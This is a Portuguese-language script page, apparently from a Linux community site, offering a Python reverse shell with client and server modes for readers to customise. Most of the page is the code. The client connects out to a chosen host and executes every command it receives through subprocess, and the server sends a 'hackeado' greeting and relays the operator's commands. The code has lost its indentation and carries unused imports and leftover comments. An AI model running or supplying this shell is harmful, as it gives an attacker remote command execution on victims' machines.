Shell reverso em Python - cliente e servidor
Publicado por henrique (última atualização em 31/10/2020)
[ Hits: 2.208 ]
Homepage: naotem.com
Um shell reverso com cliente e servidor básico para que você possa personalizar.
#!/usr/bin/env python3
import socket
import sys
import subprocess
import threading
import tqdm
import os
import cv2
import numpy as np
import pyautogui
buffer = 4096
# display screen resolution, get it from your OS settings
# define the codec
# create the video write object
if len(sys.argv) < 2:
sys.exit
quit()
if sys.argv[1] == '-h':
print("""[host]:[port]
-l = host
-p = porta
example ./netcatt.py -h 192.168.0.1 -p 2000""")
sys.exit()
quit()
print("""[host] [port]""")
a = input('clien, ou server: ')
if sys.argv[1] == '-l':
host = str(sys.argv[2])
if sys.argv[3] == '-p':
port = int(sys.argv[4])
s = socket.socket()
if a in 'Ss':
s.bind((host,port))
s.listen(5)
print(f'listndo {host}:{port}')
client_socket, client_adress = s.accept()
message = 'hackeado kkkk'.encode()
client_socket.send(message)
while True:
command = input('comando: ')
client_socket.send(command.encode())
if command.lower() == "exit":
break
results = client_socket.recv(buffer).decode()
print(results)
client_socket.close()
s.close
if a in 'cC':
s.connect((host, port))
message = s.recv(buffer).decode()
print('server: ', message)
# start sending the file
while True:
# receive the command from the server
command = s.recv(buffer).decode()
if command.lower() == "exit":
break
output = subprocess.getoutput(command)
# send the results back to the server
s.send(output.encode())
# close client connection
s.close()
if s.close:
print('-'*20, 'fim', '-'*18)
HCoin - Preço do Dólar, Bitcoin e Euro em Python
Shell reverso em Python - cliente
IA Turbina o Desktop Linux enquanto distros renovam forças
Como extrair chaves TOTP 2FA a partir de QRCODE (Google Authenticator)
Linux em 2025: Segurança prática para o usuário
Desktop Linux em alta: novos apps, distros e privacidade marcam o sábado
IA chega ao desktop e impulsiona produtividade no mundo Linux
Como instalar o repositório do DBeaver no Ubuntu
Como instalar o Plex Media Server no Ubuntu
Digitando underscore com "shift" + "barra de espaços"
Como ativar a lixeira e recuperar aquivos deletados em um servidor Linux
Como mudar o nome de dispositivos Bluetooth via linha de comando
Warcraft II Remastered no Linux? (4)
O programa assinador digital (5)









